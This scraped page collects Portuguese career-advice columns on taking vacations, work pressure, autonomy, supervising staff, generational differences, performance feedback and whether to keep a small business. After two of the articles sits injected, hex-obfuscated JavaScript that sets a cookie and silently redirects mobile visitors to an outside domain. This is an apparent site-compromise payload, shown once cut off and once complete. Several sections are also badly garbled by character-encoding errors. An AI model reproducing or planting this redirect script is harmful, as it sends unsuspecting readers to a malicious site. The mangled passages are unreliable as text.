Pra mim, tirar férias é sinônimo de ansiedade e insegurança, pois sempre fico com receio de ficar de fora de momentos importantes na empresa ou de alguém tomar o meu lugar. Por isso, prefiro não arriscar e trabalho ano após ano sem descanso. O que posso fazer para perder esse medo?
Não é incomum encontrarmos profissionais, principalmente gestores, que se sentem inseguros em tirar férias, seja pelo medo da demissão ou pelo receio de que decisões importantes sejam tomadas na sua ausência. Muitos até chegam a não investir na formação dos colegas para realizarem suas funções, com medo de se tornarem “dispensáveis” para a empresa. Esse comportamento, porém, é autossabotador, pois em algum momento o cansaço vai cobrar seu preço e o profissional será obrigado a se ausentar sem planejar previamente.
Isso porque, durante as férias, o nível de tensão e estresse diminui de modo significativo, proporcionando uma pausa para a mente e o corpo. Logo, quem adia o descanso por muito tempo pode acabar diminuindo sua produtividade, ficando desmotivado e até mesmo doente. Tudo isso poderá afetar diretamente os resultados do profissional, tornando-se uma ameaça real para o seu emprego.
Então, para superar esse medo, é preciso, em primeiro lugar, ter segurança da sua competência. Se você tem um desempenho adequado e entrega os resultados esperados pela empresa, tirar férias não será o motivo para sua demissão. Lembre-se: seu trabalho será avaliado constantemente, e não apenas durante o período em que estiver afastado das suas funções.
Por isso é tão importante buscar constantemente um feedback sobre o seu desempenho. Sabendo exatamente como a empresa enxerga o seu trabalho e tendo segurança sobre o seu espaço, será mais fácil relaxar e curtir o merecido descanso.
Trabalhar sob pressão faz parte do dia a dia de todo profissional que enfrenta um mercado cada vez mais dinâmico e competitivo. Porém, muitas vezes, a pressão é percebida como algo essencialmente negativo, o que é um equívoco. Quando feita na medida certa, ela é necessária e pode até mesmo trabalhar a favor da produtividade.
Para gestores e profissionais, o segredo de saber aplicar ou lidar com a pressão é utilizá-la com equilíbrio para que ela trabalhe ao seu favor, e não contra. Isso porque em um ambiente de trabalho onde falta cobrança por resultados, prazos ou qualidade, também pode faltar engajamento da equipe por achar que não há estímulo à produtividade e que seu trabalho tanto faz acontecer ou não. Por outro lado, pressão demais pode gerar um sentimento de frustração, incompetência e insatisfação na equipe por não conseguir alcançar o padrão esperado. Afinal, uma rotina de trabalho que vai além do limite pode se tornar insuportável.
Para os profissionais que precisam encontrar o melhor caminho para lidar com a pressão, vale a dica: encare-a como uma oportunidade para se desenvolver tanto emocional quanto profissionalmente. Aproveite a pressão para entender o que precisa gerar de resultados, para garantir que vai cumprir suas entregas e para fugir da armadilha da acomodação, sem se deixar paralisar pelas exigências. E, principalmente, é preciso ter em mente que em empresas competitivas, que querem chegar ao futuro, ninguém estará livre da pressão.
Além de colocar em prática todas essas dicas, é importante focar naquilo que você consegue e se comprometeu a entregar. É que, muitas vezes, a maior pressão pode vir justamente do perfeccionismo ou, em outros casos, da dificuldade de negociar condições para que as entregas aconteçam com qualidade e no prazo.
Já o gestor precisa saber identificar até que ponto pode pressionar a equipe para garantir que os resultados sejam alcançados, sem esquecer da importância de reconhecer os avanços e o bom desempenho. Isso porque gerenciar pelo medo nunca será o melhor caminho. É essencial fazer com que a equipe tenha clareza das suas responsabilidades e do seu papel para que as engrenagens da empresa funcionem da melhor maneira.
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Muitos profissionais se queixam da falta de autonomia no desenvolvimento do seu trabalho. Por outro lado, alguns gestores reclamam que suas equipes nA?o sA?o proativas e que estA?o sempre dependendo das suas orientaAi??Ai??es atAi?? para a menor das questAi??es. PorAi??m, Ai?? preciso entender que a autonomia nem sempre Ai?? dada e nem Ai?? um status que se ganha, mas um padrA?o de relacionamento construAi??do de forma muito singular. A prA?tica da autonomia Ai??, sem dA?vidas, um exercAi??cio diA?rio, que deve ser desenvolvido e trabalhado.
O profissional que deseja conquistar sua autonomia precisa, em primeiro lugar, estar atento ao espaAi??o que pode ocupar, se tem a competA?ncia necessA?ria e em como seu trabalho pode contribuir para a melhoria dos processos da empresa. Ele deve dar evidA?ncias da sua capacidade de resolver as questAi??es do dia a dia e, aos poucos, conquistar a confianAi??a do seu gestor.
Fatores como engajamento, responsabilidade (que inclui a disposiAi??A?o para assumir riscos) e criatividade tambAi??m sA?o elementos que ajudam na conquista desse espaAi??o. Neste caminho, Ai?? importante que o profissional busque alinhar com o seu gestor o que pode e o que nA?o pode fazer, atAi?? onde pode ir nas suas decisAi??es e ter maturidade para reconhecer os erros cometidos, transformando-os em liAi??Ai??es aprendidas.
JA? para o gestor que quer uma equipe mais autA?noma, Ai?? preciso estar atento e avaliar se sua equipe nA?o demonstra proatividade por falta de perfil ou se nA?o estA? encontrando espaAi??o para isso diante do seu modelo de gestA?o. E a melhor maneira de incentivA?-los Ai?? falando abertamente o que eles tA?m autonomia ou nA?o para fazer, encorajA?-los para que tomem decisAi??es ou que participem das que nA?o podem tomar sozinhos, alAi??m de sempre explicar o porquA? das suas atitudes, para que eles tenham referA?ncias no futuro.
Por fim, Ai?? necessA?rio entender que a autonomia nA?o acontece da noite para o dia. Exige acompanhamento constante, feedback e, principalmente, respeito diante de situaAi??Ai??es difAi??ceis, para que o profissional e o gestor se sintam confiantes em suas aAi??Ai??es.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Não é incomum encontrarmos gestores que se incomodam quando precisam explicar, orientar repetidas vezes e supervisionar os integrantes das suas equipes. Atuar no desenvolvimento e na formação de profissionais é uma tarefa exigente e que requer investimento e dedicação de tempo, paciência e energia. E é papel indelegável do líder.
Uma das principais queixas dos gestores surge da expectativa de que se as pessoas já sabem o que precisa ser feito, já o fazem há algum tempo, portanto, não precisariam de supervisão para exercerem suas atividades. É aí que está o equívoco. Não supervisionar significa abrir mão de um dos principais papéis gerenciais: o da liderança.
Por mais autônoma e madura que seja, toda equipe precisa de uma liderança. O gestor deve exercer essa influência para que seus integrantes alcancem as metas e produzam o que é esperado, conduzindo-os na direção que, na maioria das vezes, não seguiriam sozinhos, sem a devida orientação. Principalmente porque o gestor também precisa produzir resultados para a empresa, e esses resultados estão diretamente relacionados ao desempenho das equipes.
E para que essa formação seja possível, ele precisa se mostrar presente na rotina dos profissionais, criando os pontos de controle para acompanhar as demandas do dia a dia de cada um deles. E, junto com a equipe, estabelecer os padrões esperados das tarefas para que os resultados aconteçam com a qualidade que necessitam, além de fornecer os feedbacks para que todos tenham conhecimento do que vêm fazendo bem e o que precisa melhorar.
Por outro lado, o profissional precisa ser responsável com seus deveres e obrigações e realizar da melhor forma possível a sua atividade, enxergando no acompanhamento do gestor uma oportunidade para se aperfeiçoar e crescer individualmente.
É muito comum encontrarmos nas empresas profissionais que conhecem suas competências e que podem usá-las a seu favor quando precisam. Essas pessoas se sentem tão seguras dos seus lugares que, muitas vezes, acabam usando de ameaças para barganhar vantagens. Essa atitude, porém, traz grandes riscos e em algum momento fará a empresa chegar ao seu limite.
Geralmente, profissionais com essa atitude são aqueles que sabem que são bem avaliados pela empresa e pelo seu gestor imediato ou, até mesmo, que se sentem seguros por acharem que a organização precisa deles no quadro, seja porque só eles possuem o histórico de informações ou dominam determinado procedimento, ou simplesmente porque se acham os melhores na atividade que desempenham. Ao mesmo tempo, também é comum encontrarmos empresas que reforçam esse discurso de que “fulano é muito importante, sem ele não teríamos esses resultados” ou de que “não vamos mexer com fulano, não podemos ficar sem ele”.
Para o profissional, essa dependência pode até gerar um sentimento de “tranquilidade” em relação à sua estabilidade no mercado. Pode ajudar também a conseguir alguns pleitos em função da importância dada a ele, como aumento de salário, concessões ou benefícios especiais, entre outras vantagens. Mas, é preciso ter atenção e cuidado, pois ninguém é insubstituível. E se a pressão for além do limite, a empresa pode optar por correr o risco e desligá-lo do quadro de forma intempestiva ou montar uma estratégia de desligamento, o que é mais comum.
Até porque, quando essas concessões e privilégios são muito frequentes, o profissional beneficiado acaba destoando do resto da equipe, o que prejudica o clima organizacional como todo. Afinal, é muito difícil lidar com alguém que se acha “intocável” ou que se sente superior aos demais. Além disso, tal dependência por parte da empresa pode trazer outras desvantagens para o profissional, como dificuldade para tirar férias, mudar de atividade ou até mesmo receber uma promoção, já que a organização não pode perdê-lo naquela determinada função. Por isso, é preciso ter atenção. A sensação de estabilidade pode, no fim das contas, ser uma armadilha para a carreira profissional.
Da mesma forma, para as empresas, essa relação de dependência é sempre um risco. Não se deve reforçar a ideia de que determinado profissional é insubstituível e, principalmente, é preciso criar mecanismos para não depender de ninguém. Por isso é importante que todos na equipe tenham substitutos e que haja um rodízio de funções, nem que seja durante o período de férias, que exista um sistema de compartilhamento de informações e que sejam criados métodos de registro do histórico e dos padrões da organização (que, hoje, chama-se de Gestão do Conhecimento).
Historicamente, no dia a dia das empresas, os profissionais mais experientes ocupam o lugar de mentores ou tutores e orientam os mais novos no desenvolvimento das suas carreiras. Hoje, com o avanço e surgimento de novas tecnologias e com a chegada da Geração Y ao mercado de trabalho, em algumas situações os papéis podem se inverter e os mais jovens passam também a orientar os mais velhos em sua rotina. O desafio das empresas é criar um ambiente onde a experiência dos mais velhos e a inovação dos mais novos encontrem um equilíbrio para produzir os melhores resultados.
A diversidade de profissionais de diferentes gerações tende a trazer ganhos para as organizações, e os conflitos de ideias e visões de mundo devem ser encarados como desafios a serem superados. Os valores e comportamentos dos profissionais mais jovens podem, muitas vezes, contrastar com os das gerações anteriores, que naturalmente têm métodos e linguagens também diferentes. Esse contraste, contudo, não precisa ser visto necessariamente como algo negativo, pelo contrário.
As gerações mais jovens, que costumam ter um perfil mais dinâmico e inovador, podem trazer novas percepções e vivacidade para o grupo. Já os profissionais mais maduros, devido à sua vasta vivência e visão de mundo, oferecem experiência e conhecimento sobre o trabalho e a vida. Neste contexto, cabe aos gestores extraírem o que há de melhor em cada geração e amenizar os conflitos. Mostrar os ganhos dessa troca para empresa e profissionais pode ser um bom caminho.
A figura do sênior, neste contexto, não perde seu espaço importante na tutoria e mentoria dos mais jovens. Devido à inquietude e à ansiedade em conquistar espaço e buscar crescer profissionalmente em curto prazo, as gerações mais recentes correm o risco de se precipitar, tomando atitudes que prejudiquem a sua carreira. Por isso, eles podem se beneficiar com a orientação de profissionais mais maduros e experientes. Já o sênior pode se beneficiar do conhecimento dos mais jovens, principalmente quando se trata de questões relacionadas à tecnologia, redes sociais, comunicação e novidades de mercado.
Se cada um pensar em trabalhar em equipe, prezando pela comunicação frequente e efetiva, com foco nos objetivos da organização, o ambiente corporativo tende a ser mais saudável e motivador para todos. Afinal, todas as gerações têm qualidades que podem e devem ser aproveitadas pelas organizações e que ajudam a desenvolver ambientes mais produtivos e inovadores. A partir daí, o desafio da gestão de pessoas é criar um clima de respeito e aprendizagem mútua, objetivando o desempenho e desenvolvimento de todos da equipe.
Todo ciclo de avaliação de desempenho de um profissional deve se encerrar com a construção de um conjunto de compromissos pactuados com o profissional, para nortear o que precisa ser melhorado em um determinado período de tempo. Porém, na realidade de algumas organizações, é comum que esse pacto não aconteça, ou não seja acompanhado periodicamente, sendo resgatado apenas na avaliação seguinte, comprometendo a conquista dos resultados efetivos. Mas qual seria a melhor forma de fazer esse acompanhamento?
O objetivo do plano de desenvolvimento individual é delimitar as ações concretas que permitirão manter o foco e definir estratégias que vão contribuir para o caminho a ser trilhado, visando à melhoria do desempenho. Além de ser um instrumento importante para o comprometimento do profissional com o seu próprio desenvolvimento, também pode ser considerado uma ferramenta relevante da gestão de pessoas, permitindo comparar os resultados de cada avaliação e analisar o alcance de melhores resultados.
Apesar de muitas empresas terem políticas de desenvolvimento estruturadas, quando isso não acontece, o profissional pode tomar a iniciativa e dar o primeiro passo, buscando construir com o suporte do seu gestor imediato as metas e ações que devem ser priorizadas, sem esperar um movimento formal da organização para começar. Afinal, o maior interessado na melhoria do seu desempenho é ele mesmo.
Mas, apenas definir o que deve ser feito não se constitui em garantia para que o que foi planejado aconteça. Mesmo que haja vontade e um compromisso inicial do profissional, é preciso ir mais além. Para que o plano funcione de maneira eficaz, é necessário estabelecer uma rotina periódica de acompanhamento que permita avaliar os avanços e os aspectos que ainda precisam ser melhorados em tempo hábil.
Afinal, quando este monitoramento não é feito, o profissional perde a oportunidade de acompanhar sua evolução, e pode acabar deixando passar algo, sem dar a ênfase necessária para algum aspecto importante apontado na avaliação. Ele também ajuda a estreitar o diálogo com o gestor, que pode se utilizar, também, da ferramenta, para avaliar e ajudar no crescimento do profissional, o que será vantajoso também para a empresa.
É comum encontrarmos profissionais que têm dificuldade de reconhecer as boas iniciativas e práticas das empresas em que trabalham. Eles costumam focar mais naquilo que falta, no que se ressentem ou no que desejam. Esta falta de valorização pode levar ao descontentamento e à busca por outros caminhos, o que pode ser uma decisão equivocada. E o que fazer para evitar que isso aconteça?
Muitas vezes, só quando conhecem a realidade de outras organizações e práticas do mercado é que esses profissionais reconhecem o que a empresa deixada para trás tinha de bom. Existem, inclusive, situações em que essas pessoas acabam se arrependendo e pedindo para voltar. Então, para evitar esse equívoco, é importante ter sempre em mente que desejar não tem limites, e que se a gente não se der conta, ficamos presos ao imaginário e às fantasias, deixando de reconhecer e aproveitar o lado positivo das coisas.
No âmbito do trabalho, é preciso enxergar o que existe de bom nas práticas de gestão, a abertura e a liberdade de comunicação com os superiores, as oportunidades de desenvolvimento, o clima e o ambiente de trabalho, as remunerações indiretas, os benefícios oferecidos, dentre outros aspectos. São ações que muitas vezes acontecem naturalmente e que nem sempre são tão fáceis de identificar.
Portanto, o profissional precisa aprender a perceber e a valorizar as boas práticas da sua empresa, deixando de lado a idealização de outras realidades que podem nem existir. Afinal, já sabemos que a grama do vizinho nem sempre é tão verde quanto parece ser. As dificuldades podem surgir em todas as organizações e, se ao menor sinal de insatisfação, o profissional já pensa em partir para uma outra realidade, sua decisão poderá trazer consequências desagradáveis no futuro.
Recebi do meu gestor, de forma respeitosa, o retorno sobre minha atuação profissional e me surpreendi com uma avaliação de desempenho negativa. Como lidar com esta situação da melhor forma?
O retorno de uma avaliação de desempenho deve ser visto como um espaço para dialogar e conhecer a visão do outro sobre a nossa atuação, já que no dia a dia acabamos não percebendo alguns pontos em que precisamos melhorar. O feedback, quando bem realizado, é também uma valiosa ferramenta de gestão de pessoas e, mesmo quando negativo, não deve ser visto como algo desfavorável para quem o recebe. Pelo contrário, o objetivo é ajudar o profissional a crescer e melhorar.
Porém, muitas vezes, quando se trata de uma avaliação pouco positiva, as pessoas tendem a resistir e costumam ter mais dificuldade em aceitar a visão do outro. Então, afinal, como fazer para que este momento do retorno possa ser bem aproveitado e obtenha os resultados a que se pretende?
Algumas dicas importantes podem ajudar o profissional a lidar melhor com esse momento: (01) Escute até o fim o que o seu gestor tem a dizer ou leia atentamente a avaliação que lhe foi entregue. Caso tenha dúvidas sobre algum aspecto ou precise de mais informações, não hesite em perguntar. Neste momento, o importante é compreender com clareza os pontos que precisam ser desenvolvidos. (2) Mesmo se não concordar com alguns pontos da avaliação, evite adotar uma postura defensiva, tente entender melhor o que as pessoas estão percebendo, solicite exemplos e fatos que possam evidenciar o que está sendo colocado. Estar aberto às críticas é condição primeira para conseguir mudar e melhorar efetivamente. (3) Se necessário, peça um tempo para refletir sobre o que foi dito e processar a avaliação, solicitando uma nova conversa em um segundo momento.
E para auxiliar no projeto de mudança, construa, em conjunto com o seu superior imediato, um plano de aperfeiçoamento que contenha alternativas práticas para melhorar seu desempenho. Este momento pode também ser uma oportunidade de pedir sugestões de como agir diferente e, assim, alcançar melhores resultados.
Por fim, perceba o feedback como uma ferramenta importante tanto para o desenvolvimento da empresa quanto para o profissional. Logo, se você tem o privilégio de recebê-lo (porque nem todos possuem), encare-o como uma oportunidade para aprender mais e melhorar resultados.
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No auge da crise, perdi meu emprego e investi em um empreendimento prA?prio, mas ele nA?o estA? rendendo como eu esperava. Com a retomada da economia, Ai?? melhor voltar ao mercado de trabalho ou continuar empreendendo?
Nos A?ltimos anos, com a crise afetando a economia brasileira e muitas empresas enxugando seus quadros, a opAi??A?o para muitos profissionais foi a de montar seu prA?prio negA?cio para tentar fugir do desemprego. Diante dos primeiros sinais de retomada, Ai?? comum que muitos desses novos empreendedores, principalmente aqueles que ainda nA?o conseguiram obter o retorno financeiro esperado, pensem em largar tudo e voltar a buscar uma recolocaAi??A?o no mercado de trabalho.
Entretanto, Ai?? preciso ter cuidado para nA?o tomar uma decisA?o impulsiva e acabar jogando fora o tempo e o dinheiro investidos na empreitada. Tenha em mente que os resultados nA?o aparecem de uma hora para outra e que, principalmente quando o negA?cio tem uma estrutura mais complexa e um custo fixo maior, colher os louros do investimento feito pode levar algum tempo.
Para ajudar nessa decisA?o de voltar a procurar emprego ou permanecer empreendendo, as reflexAi??es abaixo podem ser bastante valiosas:
1. Avalie o seu grau de identificaAi??A?o com a nova atividade. Afinal, para empreender com sucesso, Ai?? preciso gostar do que estA? fazendo, alAi??m de ter competA?ncias para correr risco, trabalhar sob pressA?o e liderar pessoas. Ai??s vezes, as empresas nA?o vA?o pra frente porque quem estA? no comando nA?o tem um perfil adequado e, em pouco tempo, ficam sem energia para o trabalho e paciA?ncia para esperar os resultados acontecerem;
2. Avalie tambAi??m o seu nAi??vel de conhecimento em relaAi??A?o ao novo negA?cio e ainda sua disposiAi??A?o para estudar e aprofundar as informaAi??Ai??es ai??i?? fazer pesquisas sobre o segmento, entender as exigA?ncias do mercado, o desenvolvimento dos concorrentes e os riscos de empreender na A?rea. Isso ajudarA? a ter uma avaliaAi??A?o mais fiel em relaAi??A?o Ai??s expectativas de futuro;
3. Tente administrar as expectativas e ser persistente. Se Ai?? realmente o que quer, nA?o abra mA?o do investimento diante da primeira dificuldade, a nA?o ser que o seu fA?lego financeiro nA?o permita que continue na rota do empreendedorismo.
Em resumo, a opAi??A?o por ter um negA?cio prA?prio precisa ser vista como um projeto profissional, e nA?o como algo temporA?rio diante de uma realidade difAi??cil. Mas caso a sua opAi??A?o seja a de retornar ao mercado de trabalho, avalie como farA? o repasse do negA?cio para nA?o desperdiAi??ar todo o investimento feito atAi?? entA?o.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
